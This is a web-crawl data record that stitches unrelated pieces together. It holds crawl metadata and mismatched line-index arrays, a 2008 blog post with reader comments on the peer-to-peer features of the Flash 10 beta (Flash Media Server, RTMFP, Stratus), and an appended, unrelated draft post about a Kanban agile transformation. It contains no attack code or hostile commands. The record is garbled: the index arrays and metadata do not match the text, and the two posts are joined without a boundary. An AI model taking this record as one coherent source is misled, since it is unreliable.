"warc_info": "isPartOf: CC-MAIN-2019-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-173.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
61,
62,
256,
279,
280,
289,
290,
343,
344,
354,
369,
382,
401,
430,
450,
451,
492,
522,
523,
594,
664,
724,
725,
797,
867,
937,
1007,
1077,
1149,
1217,
1285,
1358,
1429,
1500,
1524,
1525,
1596,
1648,
1678,
1703,
1704,
1777,
1849,
1920,
1993,
2066,
2137,
2207,
2279,
2351,
2422,
2491,
2562,
2629,
2630,
2702,
2774,
2844,
2917,
2988,
3056,
3125,
3194,
3206,
3207,
3277,
3349,
3422,
3495,
3567,
3640,
3712,
3783,
3805,
3806,
3833,
3834,
3905,
3977,
4043,
4116,
4182,
4249,
4319,
4390,
4420,
4489,
4558,
4584,
4585,
4650,
4723,
4792,
4865,
4935,
5008,
5081,
5152,
5211,
5212,
5279,
5352,
5423,
5492,
5562,
5633,
5706,
5776,
5841,
5908,
5909,
5966,
5967,
6035,
6107,
6170,
6242,
6315,
6387,
6449,
6521,
6593,
6659,
6728,
6801,
6802,
6872,
6945,
7016,
7084,
7152,
7222,
7290,
7363,
7393,
7464,
7535,
7605,
7677,
7750,
7819,
7889,
7927,
7928,
7999,
8067,
8136,
8201,
8269,
8339,
8411,
8483,
8555,
8626,
8691,
8759,
8831,
8900,
8971,
9036,
9107,
9122,
9123,
9191,
9262,
9334,
9404,
9476,
9546,
9612,
9685,
9757,
9830,
9899,
9918,
9919,
9988,
10059,
10131,
10202,
10273,
10341,
10371,
10444,
10515,
10552,
10553,
10623,
10691,
10762,
10834,
10905,
10976,
11049,
11065,
11066,
11089,
11090,
11162,
11213,
11214,
11273,
11274,
11340,
11410,
11479,
11552,
11625,
11692,
11765,
11837,
11909,
11976,
12049,
12122,
12193,
12249,
12250,
12321,
12390,
12463,
12535,
12606,
12673,
12742,
12804,
12877,
12944,
12963,
12993,
13065,
13136,
13207,
13278,
13348,
13420,
13491,
13563,
13618,
13619,
13689,
13760,
13833,
13905,
13974,
14044,
14113,
14184,
14256,
14301,
14302,
14337,
14338,
14408,
14480,
14550,
14622,
14695,
14729,
14730,
14801,
14873,
14945,
15018,
15087,
15143,
15144,
15217,
15290,
15363,
15432,
15505,
15576,
15628,
15629,
15700,
15770,
15839,
15869,
15939,
16011,
16083,
16156,
16229,
16300,
16372,
16436,
16502,
16572,
16643,
16701,
16702,
16756,
16757,
16830,
16900,
16973,
17042,
17115,
17187,
17255,
17328,
17355,
17356,
17429,
17502,
17575,
17643,
17701,
17702,
17772,
17842,
17909,
17978,
18048,
18119,
18170,
18200,
18235,
18236,
18309,
18382,
18443,
18510,
18522,
18523,
18594,
18664,
18733,
18771,
18772,
18839,
18911,
18981,
19049,
19121,
19122,
19195,
19256,
19320,
19387,
19388,
19420,
19421,
19488,
19551,
19619,
19692,
19693,
19722,
19723,
19794,
19861,
19932,
20001,
20072,
20143,
20212,
20284,
20346,
20372,
20402,
20447,
20448,
20516,
20586,
20633,
20634,
20707,
20778,
20846,
20918,
20990,
21059,
21127,
21197,
21270,
21297,
21298,
21369,
21436,
21453,
21454,
21525,
21598,
21671,
21743,
21812,
21881,
21954,
22022,
22092,
22093,
22166,
22239,
22310,
22383,
22455,
22526,
22597,
22670,
22743,
22813,
22886,
22950,
23018,
23091,
23162,
23228,
23298,
23328,
23395,
23468,
23539,
23583,
23584,
23654,
23727,
23797,
23870,
23942,
23960,
23961,
23992,
23993,
24065,
24136,
24207,
24278,
24312,
24313,
24384,
24450,
24521,
24594,
24664,
24728,
24796,
24867,
24940,
25012,
25084,
25154,
25220,
25249,
25250,
25319,
25389,
25462,
25533,
25601,
25670,
25741,
25814,
25886,
25957,
26030,
26060,
26133,
26202,
26218,
26219,
26290,
26363,
26433,
26504,
26568,
26569,
26642,
26713,
26786,
26859,
26931,
26999,
27072,
27135,
27136,
27208,
27281,
27350,
27418,
27486,
27558,
27628,
27694,
27766,
27787,
27788,
27857,
27930,
27992,
27993,
28021,
28022,
28089,
28158,
28231,
28304,
28376,
28409,
28410,
28483,
28554,
28626,
28698,
28728,
28743,
28744,
28771,
28772,
28838,
28891,
28939,
28995,
28996,
29061,
29126,
29195,
29262,
29263,
29335,
29408,
29466,
29522,
29523,
29596,
29664,
29732,
29779,
29835,
29836,
29907,
29980,
30049,
30111,
30112,
30185,
30258,
30329,
30391,
30392,
30421,
30422,
30438,
30502,
30568,
30636,
30637,
30652,
30719,
30791,
30862,
30891,
30921,
30943,
31009,
31080,
31150,
31212,
31262,
31263,
31336,
31407,
31469,
31470,
31542,
31615,
31662,
31718,
31719,
31791,
31859,
31916,
31972,
31973,
32045,
32115,
32164,
32220,
32221,
32286,
32358,
32405,
32461,
32462,
32532,
32602,
32671,
32742,
32743,
32811,
32878,
32943,
32999,
33000,
33071,
33143,
33189,
33245,
33275,
33339,
33398,
33446,
33502,
33503,
33568,
33635,
33708,
33780,
33781,
33854,
33910,
33958,
34014,
34015,
34087,
34138,
34194,
34195,
34211,
34272,
34336,
34397,
34470,
34471,
34540,
34590,
34649,
34689,
34690,
34756,
34828,
34893,
34933,
34963,
34979,
34980,
35053,
35107,
35108,
35127,
35128,
35147,
35162,
35187,
35204,
35229,
35257,
35258,
35287,
35288,
35289,
35310,
35322,
35337,
35356,
35366,
35367,
35394,
35435,
35436,
35437,
35447,
35457,
35496,
35523,
35532,
35533,
35562,
35563,
35564,
35581,
35606,
35637,
35657,
35675,
35676
],
"line_end_idx": [
61,
62,
256,
279,
280,
289,
290,
343,
344,
354,
369,
382,
401,
430,
450,
451,
492,
522,
523,
594,
664,
724,
725,
797,
867,
937,
1007,
1077,
1149,
1217,
1285,
1358,
1429,
1500,
1524,
1525,
1596,
1648,
1678,
1703,
1704,
1777,
1849,
1920,
1993,
2066,
2137,
2207,
2279,
2351,
2422,
2491,
2562,
2629,
2630,
2702,
2774,
2844,
2917,
2988,
3056,
3125,
3194,
3206,
3207,
3277,
3349,
3422,
3495,
3567,
3640,
3712,
3783,
3805,
3806,
3833,
3834,
3905,
3977,
4043,
4116,
4182,
4249,
4319,
4390,
4420,
4489,
4558,
4584,
4585,
4650,
4723,
4792,
4865,
4935,
5008,
5081,
5152,
5211,
5212,
5279,
5352,
5423,
5492,
5562,
5633,
5706,
5776,
5841,
5908,
5909,
5966,
5967,
6035,
6107,
6170,
6242,
6315,
6387,
6449,
6521,
6593,
6659,
6728,
6801,
6802,
6872,
6945,
7016,
7084,
7152,
7222,
7290,
7363,
7393,
7464,
7535,
7605,
7677,
7750,
7819,
7889,
7927,
7928,
7999,
8067,
8136,
8201,
8269,
8339,
8411,
8483,
8555,
8626,
8691,
8759,
8831,
8900,
8971,
9036,
9107,
9122,
9123,
9191,
9262,
9334,
9404,
9476,
9546,
9612,
9685,
9757,
9830,
9899,
9918,
9919,
9988,
10059,
10131,
10202,
10273,
10341,
10371,
10444,
10515,
10552,
10553,
10623,
10691,
10762,
10834,
10905,
10976,
11049,
11065,
11066,
11089,
11090,
11162,
11213,
11214,
11273,
11274,
11340,
11410,
11479,
11552,
11625,
11692,
11765,
11837,
11909,
11976,
12049,
12122,
12193,
12249,
12250,
12321,
12390,
12463,
12535,
12606,
12673,
12742,
12804,
12877,
12944,
12963,
12993,
13065,
13136,
13207,
13278,
13348,
13420,
13491,
13563,
13618,
13619,
13689,
13760,
13833,
13905,
13974,
14044,
14113,
14184,
14256,
14301,
14302,
14337,
14338,
14408,
14480,
14550,
14622,
14695,
14729,
14730,
14801,
14873,
14945,
15018,
15087,
15143,
15144,
15217,
15290,
15363,
15432,
15505,
15576,
15628,
15629,
15700,
15770,
15839,
15869,
15939,
16011,
16083,
16156,
16229,
16300,
16372,
16436,
16502,
16572,
16643,
16701,
16702,
16756,
16757,
16830,
16900,
16973,
17042,
17115,
17187,
17255,
17328,
17355,
17356,
17429,
17502,
17575,
17643,
17701,
17702,
17772,
17842,
17909,
17978,
18048,
18119,
18170,
18200,
18235,
18236,
18309,
18382,
18443,
18510,
18522,
18523,
18594,
18664,
18733,
18771,
18772,
18839,
18911,
18981,
19049,
19121,
19122,
19195,
19256,
19320,
19387,
19388,
19420,
19421,
19488,
19551,
19619,
19692,
19693,
19722,
19723,
19794,
19861,
19932,
20001,
20072,
20143,
20212,
20284,
20346,
20372,
20402,
20447,
20448,
20516,
20586,
20633,
20634,
20707,
20778,
20846,
20918,
20990,
21059,
21127,
21197,
21270,
21297,
21298,
21369,
21436,
21453,
21454,
21525,
21598,
21671,
21743,
21812,
21881,
21954,
22022,
22092,
22093,
22166,
22239,
22310,
22383,
22455,
22526,
22597,
22670,
22743,
22813,
22886,
22950,
23018,
23091,
23162,
23228,
23298,
23328,
23395,
23468,
23539,
23583,
23584,
23654,
23727,
23797,
23870,
23942,
23960,
23961,
23992,
23993,
24065,
24136,
24207,
24278,
24312,
24313,
24384,
24450,
24521,
24594,
24664,
24728,
24796,
24867,
24940,
25012,
25084,
25154,
25220,
25249,
25250,
25319,
25389,
25462,
25533,
25601,
25670,
25741,
25814,
25886,
25957,
26030,
26060,
26133,
26202,
26218,
26219,
26290,
26363,
26433,
26504,
26568,
26569,
26642,
26713,
26786,
26859,
26931,
26999,
27072,
27135,
27136,
27208,
27281,
27350,
27418,
27486,
27558,
27628,
27694,
27766,
27787,
27788,
27857,
27930,
27992,
27993,
28021,
28022,
28089,
28158,
28231,
28304,
28376,
28409,
28410,
28483,
28554,
28626,
28698,
28728,
28743,
28744,
28771,
28772,
28838,
28891,
28939,
28995,
28996,
29061,
29126,
29195,
29262,
29263,
29335,
29408,
29466,
29522,
29523,
29596,
29664,
29732,
29779,
29835,
29836,
29907,
29980,
30049,
30111,
30112,
30185,
30258,
30329,
30391,
30392,
30421,
30422,
30438,
30502,
30568,
30636,
30637,
30652,
30719,
30791,
30862,
30891,
30921,
30943,
31009,
31080,
31150,
31212,
31262,
31263,
31336,
31407,
31469,
31470,
31542,
31615,
31662,
31718,
31719,
31791,
31859,
31916,
31972,
31973,
32045,
32115,
32164,
32220,
32221,
32286,
32358,
32405,
32461,
32462,
32532,
32602,
32671,
32742,
32743,
32811,
32878,
32943,
32999,
33000,
33071,
33143,
33189,
33245,
33275,
33339,
33398,
33446,
33502,
33503,
33568,
33635,
33708,
33780,
33781,
33854,
33910,
33958,
34014,
34015,
34087,
34138,
34194,
34195,
34211,
34272,
34336,
34397,
34470,
34471,
34540,
34590,
34649,
34689,
34690,
34756,
34828,
34893,
34933,
34963,
34979,
34980,
35053,
35107,
35108,
35127,
35128,
35147,
35162,
35187,
35204,
35229,
35257,
35258,
35287,
35288,
35289,
35310,
35322,
35337,
35356,
35366,
35367,
35394,
35435,
35436,
35437,
35447,
35457,
35496,
35523,
35532,
35533,
35562,
35563,
35564,
35581,
35606,
35637,
35657,
35675,
35676,
35703
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 35703,
"ccnet_original_nlines": 677,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3214802145957947,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.09872795641422272,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2432783991098404,
"rps_doc_frac_unique_words": 0.22259201109409332,
"rps_doc_mean_word_length": 5.098864555358887,
"rps_doc_num_sentences": 436,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.818143844604492,
"rps_doc_word_count": 5108,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.10151661187410355,
"rps_doc_frac_chars_dupe_6grams": 0.048224229365587234,
"rps_doc_frac_chars_dupe_7grams": 0.03033212013542652,
"rps_doc_frac_chars_dupe_8grams": 0.023421000689268112,
"rps_doc_frac_chars_dupe_9grams": 0.01121135987341404,
"rps_doc_frac_chars_top_2gram": 0.01535802986472845,
"rps_doc_frac_chars_top_3gram": 0.009214820340275764,
"rps_doc_frac_chars_top_4gram": 0.009790750220417976,
"rps_doc_books_importance": -3275.435302734375,
"rps_doc_books_importance_length_correction": -3275.435302734375,
"rps_doc_openwebtext_importance": -2185.094482421875,
"rps_doc_openwebtext_importance_length_correction": -2185.094482421875,
"rps_doc_wikipedia_importance": -1390.5380859375,
"rps_doc_wikipedia_importance_length_correction": -1390.5380859375
},
"fasttext": {
"dclm": 0.1645309329032898,
"english": 0.8644410967826843,
"fineweb_edu_approx": 2.5385305881500244,
"eai_general_math": 0.9060159921646118,
"eai_open_web_math": 0.35949480533599854,
"eai_web_code": 0.8915820717811584
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "2",
"label": "Academic/Research"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,189,447,145,216,784,400 |
P2P in Flash 10 Beta — the Questions Facing a YouTube, Skype, and BitTorrent Killer
As I’ve reported, the inclusion of P2P in Flash 10 Beta represents a fundamental disruption of the Internet platform. As with all disruptions, however, this one will progress in fits and starts. Flash 10’s details limit the full power of its P2P features. While features like VoIP will be fully enabled, it will take some ingenuity to turn Flash 10 into a more generalized P2P platform. Here are the issues:
1) Flash Media Server (FMS)
You’ll need Flash Media Server (FMS) to take advantage of Flash P2P. At $995 for the “Streaming Server” and $4,500 for the “Interactive Server”, FMS is beyond the reach of most developers working on their own projects, severely limiting Flash P2P’s disruptive potential. In an ideal world, the new P2P protocols would be openly specified, allowing open source developers to write their own implementations. As it stands now, a single company controls a potentially vital part of the Internet infrastructure, and encryption will likely thwart the initial reverse engineering efforts of open source groups like Red5.
2) No Flash Player in the Background
As David Barrett (formerly of Akamai/Red Swoosh) has emphasized on the Pho List, Flash Player only runs when it’s loaded in your browser. As soon as you navigate to another page, Flash can no longer act as a P2P server. P2P programs like Red Swoosh, BitTorrent, and LittleShoot don’t have this limitation, and it means Flash can’t save web sites as much bandwidth as those full-blown applications can. This limits but does not eliminate Flash’s threat to CDNs. Sure, you could get around this using AIR, but that creates another major barrier to adoption.
3) Usability
While Flash 10 has the ability to save files to your computer and to load them from your computer (essential for P2P), it pops up a dialog box each time that happens. While this is an important security measure, it cripples Flash 10’s ability to mimic BitTorrent because you’d have dialogs popping up all the time to make sure you as a user had authorized any uploads of any part of a file.
4) Limited APIs
While all the required technology is there in the Real Time Media Flow Protocol (RTMFP), ActionScript’s API limits some of the P2P potential of Flash 10. P2P downloading breaks up files into smaller chunks so you can get them from multiple other computers. Flash 10 can only save complete files to your computer — you can’t save in small chunks. As a result, you’d have to use ActionScript very creatively to achieve BitTorrent or LittleShoot-like distribution or to significantly lower bandwidth bills for sites serving videos. It might be possible, but you’d have to work some magic.
So, that’s the deal. There’s still a lot more documentation coming our way from Adobe, so there are undoubtedly useful nuggets yet to be discovered.
Even given all these limitations, however, the key point to remember is the Internet has a new, immensely powerful protocol in its arsenal: Matthew Kaufman and Michael Thornburgh’s Real Time Media Flow Protocol (RTMFP). While Flash might use it primarily for direct streaming between two computers now (think VoIP), it introduces the potential for so much more.
Keep your helmet on.
Advertisements
9 Responses to P2P in Flash 10 Beta — the Questions Facing a YouTube, Skype, and BitTorrent Killer
1. lukebayes says:
I just wanted to throw a quick response your way about issues #2, #3 and #4.
The Flash Player actually has a local file storage service called ‘Local Shared Object’. Essentially, this feature lets developers read and write arbitrary bytes to disk – including files and parts of files. End users are prompted once (ever) to authorize a particular amount of disk space (up to limitless).
This feature would allow a peer to peer network exactly the kind of access they would need to distribute the downloading of large files across those users that are currently connected to their site. This could be especially powerful (and cost-effective) for high traffic sites that present high-popularity, large file-size content like Youtube.
As an end user, I would only be prompted when I wanted to take a file out of the application and save it to some other location on my hard disk.
Of course peer-to-peer implementations in SWF are not likely to look like today’s general purpose peer-to-peer clients. The SWF versions are far more likely to be more tightly coupled to a particular content type and application. A music or video player for example.
With all that said, issue #1 is still a very big problem to me at least, but it’s probably far, far more cost-effective for popular sites to unload terabytes of bandwidth costs (and risks).
2. adamfisk says:
Hi Luke- Very interesting stuff. I am far, far from an ActionScript expert, and I’ve just now glanced at the Local Shared Object API. Looks like the NetStream/NetConnection changes along with Local Shared Object might actually do the trick.
I’d love to talk offlist about the details of this. Can you shoot me an e-mail at “a” at my domain (littleshoot.org)?
-Adam
3. kris says:
nice article.
i gotta say i was much more excited about the whole thing before yesterday. thats when i found out there still has to be a fms in between – i guess it will take some while for the red5 team to implement rtmfp, if ever.
my conclusion to the whole thing is dissatisfactory for now. 😦
4. Williams says:
$4,500 is nothing for a RMTP connection. Imagine all the possibilities we can do with a P2P connection! Games, conferences, chats, entreteinment…. the imagine is the limit! I want this in my hands! I´d pay one arm for it! 🙂
5. adamfisk says:
I agree it’s not much for what you get. It’s just a lot compared to the ideal: an open source implementation of the same thing using open protocols. Why settle?
6. Ingmar says:
Well, I’m not quite sure if Adobes attempt to p2p is a full blower. As far as I’ve heard, p2p funcitonality is only possible with the fms and then there’s a direct connection between the clients – but well, p2p is about FINDING and receiving files from vom clients you maight not know, but getting them from cleints which as act bridges. So in terms of scalability I’m not quite sure if Adobe will be able to compete against real p2p overlays with no central infrastructure (like e.g. kademlia). I think Adobes attempt goes more in a direction of let’s play a game against each other, and such…
7. adamfisk says:
The finding part is both better and more easily handled centrally, though, turning it into a simple problem. Overlays like Kademlia are cool, but the only reason to use them is to limit liability. If/when P2P networks are used for more general purposes outside piracy (sure, they are to some extent now), the basic reason for overlays like Kademlia existing disappears. A centralized index is way faster and way easier to code, ultimately making it cheaper with developer hours factored in. Sure, you’ve got to pay for a server or two, but that traffic is extremely lightweight and cheap in the scheme of things.
Don’t get me wrong, Flash has a long way to go before it’s a real P2P contender. They’re solving the most important problem, though — reliable connections between any two peers on the network with firewall properly traversed. Their firewall traversal in particular is better than almost any P2P app out there.
8. thedavidmo says:
Addressing (1), it’s not true that you’ll have to buy an FMS server in order to establish a p2p connection: Adobe is hosting a server cloud called Stratus that you can use to establish the handshake:
http://labs.adobe.com/technologies/stratus/
Of course, you’re still going to need FMS for any kind of centralized infrastructure that’s going to require server side scripts.
9. adamfisk says:
@thedavidmo Stratus wasn’t released when I wrote this post, but your point is more or less correct. The only issue is Stratus can’t establish a p2p connection with every NAT combination out there (and neither can anything else), so any truly robust solution will always need a relay. In other words, they’ll need FMS. Stratus alone will likely work in about 90% of cases, though, so it gets you pretty far.
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
w
Connecting to %s
%d bloggers like this:
|
{
"url": "https://adamfisk.wordpress.com/2008/05/21/p2p-in-flash-10-beta-the-questions-facing-a-youtube-skype-and-bittorrent-killer/",
"source_domain": "adamfisk.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2018-22",
"warc_metadata": {
"Content-Length": "68220",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TRM5UXK3U3SO7BKQIHTS6EP4ESID4UTY",
"WARC-Concurrent-To": "<urn:uuid:fd882423-416f-4679-86d5-e1f51a811d04>",
"WARC-Date": "2018-05-28T03:25:52Z",
"WARC-IP-Address": "192.0.78.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:Z7DHRGMQVDPBEDTRKOJ3OAL5SJ6FLM4F",
"WARC-Record-ID": "<urn:uuid:33130bc7-2449-4e9f-ae5b-e444ff6ecd46>",
"WARC-Target-URI": "https://adamfisk.wordpress.com/2008/05/21/p2p-in-flash-10-beta-the-questions-facing-a-youtube-skype-and-bittorrent-killer/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:89ee841a-48ef-4fa4-a5ad-5b94d19528dc>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-158-150-190.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
2,
3,
87,
88,
496,
497,
525,
526,
1141,
1142,
1179,
1180,
1736,
1737,
1750,
1751,
2142,
2143,
2159,
2160,
2746,
2747,
2896,
2897,
3259,
3260,
3281,
3282,
3297,
3298,
3397,
3398,
3419,
3420,
3501,
3502,
3815,
3816,
4165,
4166,
4315,
4316,
4587,
4588,
4782,
4783,
4803,
4804,
5049,
5050,
5172,
5173,
5183,
5184,
5200,
5201,
5219,
5442,
5443,
5510,
5511,
5531,
5532,
5760,
5761,
5781,
5782,
5947,
5948,
5966,
5967,
6566,
6567,
6587,
6588,
7205,
7206,
7520,
7521,
7543,
7544,
7748,
7749,
7797,
7798,
7932,
7933,
7953,
7954,
8365,
8366,
8380,
8381,
8436,
8437,
8456,
8457,
8530,
8531,
8545,
8546,
8613,
8614,
8630,
8631,
8698,
8699,
8714,
8715,
8783,
8784,
8786,
8787,
8804,
8805
],
"line_end_idx": [
2,
3,
87,
88,
496,
497,
525,
526,
1141,
1142,
1179,
1180,
1736,
1737,
1750,
1751,
2142,
2143,
2159,
2160,
2746,
2747,
2896,
2897,
3259,
3260,
3281,
3282,
3297,
3298,
3397,
3398,
3419,
3420,
3501,
3502,
3815,
3816,
4165,
4166,
4315,
4316,
4587,
4588,
4782,
4783,
4803,
4804,
5049,
5050,
5172,
5173,
5183,
5184,
5200,
5201,
5219,
5442,
5443,
5510,
5511,
5531,
5532,
5760,
5761,
5781,
5782,
5947,
5948,
5966,
5967,
6566,
6567,
6587,
6588,
7205,
7206,
7520,
7521,
7543,
7544,
7748,
7749,
7797,
7798,
7932,
7933,
7953,
7954,
8365,
8366,
8380,
8381,
8436,
8437,
8456,
8457,
8530,
8531,
8545,
8546,
8613,
8614,
8630,
8631,
8698,
8699,
8714,
8715,
8783,
8784,
8786,
8787,
8804,
8805,
8827
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 8827,
"ccnet_original_nlines": 115,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42067834734916687,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02735229954123497,
"rps_doc_frac_lines_end_with_ellipsis": 0.008620689623057842,
"rps_doc_frac_no_alph_words": 0.1810722053050995,
"rps_doc_frac_unique_words": 0.41423729062080383,
"rps_doc_mean_word_length": 4.695593357086182,
"rps_doc_num_sentences": 91,
"rps_doc_symbol_to_word_ratio": 0.0032822799403220415,
"rps_doc_unigram_entropy": 5.800163269042969,
"rps_doc_word_count": 1475,
"rps_doc_frac_chars_dupe_10grams": 0.01934739015996456,
"rps_doc_frac_chars_dupe_5grams": 0.051111750304698944,
"rps_doc_frac_chars_dupe_6grams": 0.036673400551080704,
"rps_doc_frac_chars_dupe_7grams": 0.01934739015996456,
"rps_doc_frac_chars_dupe_8grams": 0.01934739015996456,
"rps_doc_frac_chars_dupe_9grams": 0.01934739015996456,
"rps_doc_frac_chars_top_2gram": 0.007074790075421333,
"rps_doc_frac_chars_top_3gram": 0.009240539744496346,
"rps_doc_frac_chars_top_4gram": 0.012128209695219994,
"rps_doc_books_importance": -937.1066284179688,
"rps_doc_books_importance_length_correction": -937.1066284179688,
"rps_doc_openwebtext_importance": -457.4073181152344,
"rps_doc_openwebtext_importance_length_correction": -457.4073181152344,
"rps_doc_wikipedia_importance": -304.9052734375,
"rps_doc_wikipedia_importance_length_correction": -304.9052734375
},
"fasttext": {
"dclm": 0.03842109069228172,
"english": 0.9104955792427063,
"fineweb_edu_approx": 1.580041766166687,
"eai_general_math": 0.06051516905426979,
"eai_open_web_math": 0.23364299535751343,
"eai_web_code": 0.004138949792832136
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "5",
"label": "Evaluate"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,056,671,607,962,438,400 |
Category: Analytics
An Agile Transformation
I wrote this a few years ago, but I’m going through a similar agile transformation right now. Although, every agile transformation is different, this still makes sense to me although it is just a draft post. I figured I’d just post it because I never search my drafts for nuggets of knowledge :).
If we are going to do Kanban we shouldn’t waste time formally planning sprints. Just like we don’t want to do huge up front specifications because of waste cased by unknowns, we don’t want to spend time planning a sprint because the work being done in the sprint can change anytime the customer wants to reprioritize. We should have a backlog of prioritized features. The backlog is regularly prioritized (daily, weekly…) to keep features available to work. If we want to deliver a specific set of features or features in two weeks, prioritize them and the team will do those features next.
There is a limit on the number of features the team can have in progress (work in progress or WIP). Features are considered WIP until they pass UAT. Production would be a better target, but saying a feature is WIP until production is a little far fetched if you aren’t practicing continuous delivery. So, for our system production is considered passing UAT. When the team is under their WIP limit they are free to pull the next feature from highest priority features in the backlog.
This is going to most likely reduce resource utilization, but will increase throughput and improve quality. Managers may take issue at developers not being used at full capacity, but there is a reason for this madness and hopefully I can explain it.
Having features pulled into the pipeline from a prioritized backlog instead of a planned sprint allows decisions on what features to be worked to be deferred until the last possible moment. This provides more agility in the flow of work in the pipeline and the product owner is able to respond quickly to optimize the product in production. Isn’t agile what we’re going for? Pulling work with WIP limits also gives greater risk management. Since batch sizes are smaller, problems will only affect a limited amount of work in progress and risk can be mitigated as new work is introduced in the pipeline. Focusing on a limited amount of work improves the speed at which work is done. There is no context switching and there is a single focus on moving a limited amount work through the system at one time. This increases the flow of work even though there may be times when a developer is idle. The truth is the system can only flow as fast as its slowest link, the constraint. Having one part of the system run at full capacity and overload the constraint introduces a lot of potential waste in the system.
On my current team, we have constraints that determine how quickly we can turn around a feature. Currently, code review and QA are constraints. QA is the largest constraint that limits faster deployment cycles, but more on that later. If we follow the five basic steps outline in the TOC from the book The Goal, we would:
1. Identify the constraint(s) – in this instance it’s code review and manual testing
2. Exploit the constraint to maximize productivity –
3. Subordinate all other steps or processes to speed up or reduce capacity of the constraint – no new work may enter as WIP until the constraint has WIP available.
4. Elevate the constraint – for us we will prioritize work that helps remove to remove these work centers as constraints.
5. Repeat
